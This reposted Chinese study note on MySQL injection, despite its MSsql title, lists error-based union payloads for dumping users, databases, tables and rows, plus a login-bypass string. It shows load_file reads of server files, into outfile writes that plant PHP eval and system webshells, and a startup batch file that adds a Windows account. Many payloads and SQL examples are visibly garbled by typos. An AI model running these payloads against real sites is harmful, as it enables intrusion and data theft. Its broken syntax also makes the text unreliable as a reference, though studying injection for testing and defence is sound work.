滲透測試學習 十、 MSsql注入下


大綱:MySQL介紹及操作  MySQL注入原理  MySQL注入其他操作

一、MySQL介紹及操作

  介紹 

    MySQL是一個關系型數據庫管理系統,由瑞典MySQL AB 公司開發,目前屬於 Oracle 旗下產品。MySQL 是最流行的關系型數據庫管理系統之一,在 WEB 應用方面,MySQL是最好的 RDBMS

(Relational Database Management System,關系數據庫管理系統) 應用軟件。MySQL是一種關系數據庫管理系統,關系數據庫將數據保存在不同的表中,而不是將所有數據放在一個大倉庫內,這樣就增加

了速度並提高了靈活性。MySQL所使用的 SQL 語言是用於訪問數據庫的最常用標准化語言。MySQL 軟件采用了雙授權政策,分為社區版和商業版,由於其體積小、速度快、總體擁有成本低,尤其是開放

源碼這一特點,一般中小型網站的開發都選擇 MySQL 作為網站數據庫。由於其社區版的性能卓越,搭配 PHP 和 Apache 可組成良好的開發環境。(源自百度百科)

  安裝:

  Windows上  phpstudy  wamp  upupw  (都是集成好的)  iisthuweishen

  Linux上  yum-y  install  httpd  php  php-mysql  mysql-server

  簡單的操作命令

    1、創建數據庫

      CREATE DATABASE database-name

    2、刪除數據庫

      drop database dbname

    3、查詢數據庫

      CREATE TABLE MYTABLE(name VARCHAR(20),sex(HAR(1)));

    4、查看數據庫

      show datbases;

    5、查看表

      show tables;

二、MySQL函數

  1、system_user()  系統用戶名

  2、user()  用戶名

  3、current_user  當前用戶名

  4、session_user()  連接數據庫的用戶名

  5、database()  數據庫名

  6、version()  MySQL數據庫版本

  7、load_file()  轉成16進制或10進制MySQL讀取本地文件的函數

    select load_file('c:/123.txt');  可以將地址轉16進制放入就無須單引號

  8、@@datadir  讀取數據庫路徑

  9、@@basedir  MySQL數據庫安裝路徑

  10、@@version_compile_os  操作系統

三、MySQL數據庫連接

<?
$host='localhost';    //數據庫地址
$datebase='sui';  //數據庫名稱
$user='root';  //數據庫賬戶
$pass='';  //數據庫密碼
$pass='';  //數據庫密碼
$webml='/0/';  //安裝文件夾
?>

 

一般在config.php  db_config.php文件中

lnclude/common.inc.php  一般在data文件夾下

四、數據庫結構化對比

  access數據庫

    A網站:adata.mdb

      表名(admin)

        列名(user,pass)

          值

    B網站:bdata.mdb

      表名(admin)

        列名(user,pass)

          值

  MySQL數據庫

    A網站

    B網站

      表名

        列名

          值

五、MySQL注入原理

  注入產生原理以及防護繞過

  注入形成原理

  簡單防注入原理

  繞過注入原理

  形成注入的原理:沒有對輸入的參數進行過濾

  防注入繞過

  大小寫繞過

  %00編碼繞過  截斷關鍵字

  判斷注入  手工(5.0以上)要用infromation函數,沒有就用sqlmap

    and 1=1  and 1=2  這種只適用於沒有上waf的

  判斷多少列

    order by xx

    order by 21 正常  order by 22 不正常  說明有21列

六、MySQL其他注入

  MySQL 4.0滲透

    利用sqlmap注入讀取文件

    查詢表名

    sqlmap --sql-shell

    select load_file('/usr/www/index.php');

  MySQL顯錯注入

    判斷是否存在注入,輸入 '

    爆當前數據庫的用戶

    -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select user() limit(0,1) a from information_shema.tables group by a)b#

    爆當前數據庫名稱

    -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select database(), limit(0,1) a from information_schem.tables group by a)b#

    爆當前版本號

    -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select version() limit(0,1) a from information_schema.tables group by a)b#

    爆當前數據庫

    -999999999' union select 1 from (select count(*),concat(select(select concat (0x27,0x27,hex(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    爆表

    ' and(select 1 from(select count(*),concat((select (select distinct concat(0x27,0x27 ,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x64656E67 (imit 0,1) from information_schema.tables group by x)a)#

    爆字段

    ' and(select 1 from(select count(*),concat((select (select distinct concat(0x7e,0x27 ,aolumn_name,0x27,0x7e) from information_schema,columns where table_schema=0x64656E67 and table_name=0x75736572 limit 0,1) from information_schema.tables group by x)a)#

    爆內容

    ' and(select 1 from(select count(*),concat((select (select distinct concat(0x7e,0x27 ,user,username.0x27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x_a_#

    后台繞過

    select *from user where username="and password="

    輸入:admin#   #表示注釋后面的的代碼

    select * from user where username='admin' # ' and password=''

    輸入:admin' and or '1=1

    select * from user where username='admin' or '1=1' and password=''

七、MySQL讀取函數的使用

  load_file()函數

  該函數使用來讀取源文件的函數,只能讀取絕對路徑的網頁文件。在使用load_file()時應該先找到網站的絕對路徑

  例如:d:/www/xx/index.php

      /usr/src/apache/htdoc/index.php

  注意:

    1、路徑符號“\”錯誤  “\\”正確    “/”正確

    2、轉換十六進制數就不需要單引號

    /  Linux路徑格式

    \  Windows路徑格式

  獲取網站根路徑

  1、報錯顯示

  2、Googlehack  site:目標網站 warning

  3、遺留文件  phpinfo  info  test  php

  4、漏洞爆路徑

  5、讀取配置文件

  讀取網站文件內容

  and 1=2 union select 1,foad_file('c:\\Inetpub\\wwwroot\\mysql_sql\\inc\\set_sql.php'),3,4,5,6,7,8,9

  and 1=2 union select 1,load_file(十六進制),3,4,5,6,7,8,9

  c:/windows/system32/inetsrv/metabase.xml

  寫入函數 into outfile

  and 1=2 union select 1,"<?php @eval($_POST['cracer']);?>",3,4,5 into outfile 'c:/Inetpub/wwwroot/mysql-sql/cracer.txt'

八、利用注入漏洞執行系統命令

  1、需要wamp環境搭建,要系統權限才可以執行

  and 1=2 union select 1,"net user seven 123 /add",2,3,4 into outfile 'c:/Documents and Settings/Administrator/[開始]菜單/程序/啟動/1.bat'

  2、

  and 1=2 union select 1,"<pre><body><?@system($_GET['cc'];?></body></pre>",2,3,4 into outfile 'c:/Inetpub/wwwroot/mysql-sql/cr.php'

九、魔術引號與寬字節注入

  該特性已自php5.3.0起廢棄並於5.4.0起移除。當打開時,所有的單引號,雙引號,反斜杠NULL字符都會自動加上一個反斜杠進行轉義,這和addslashes()作用完全相同,一共有三個魔術引號指令:

  magic_quotes_gpc  影響到http請求數據(GET,POST和COOKIE)

  不能在運行時改變,在PHP默認的值為on參見get_magic_quotes_gpc()

  magic_quotes_runtime如果打開,大部分從外部來獲取的數據並返回的函數,包括從數據庫和文本文件,所返回的數據都會被反斜杠轉義

  在運行時改變,在PHP中的默認值為off,參見set_magic_quotes_runntime()和get_magic_qutes_runtime()

  magic_quotes_sybase如果打開將會只用單引號對單引號進行轉義而非反斜杠,此選項會玩全覆蓋magic_quates_gpc

  如果同時打開兩個選項,單引號會被轉義成 " ,而雙引號反斜杠和NULL字符不會轉義

  如何取得其值,參見InI_got()

  使用寬字節注入繞過魔術引號

  %df%27

  sqlmap.py -u "xx.com/xx.php?id=1" --risk 3 --dbms =mysql-p username --tamper unmagicquotes.py -v 3

 

2019-05-02  17:28:15


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM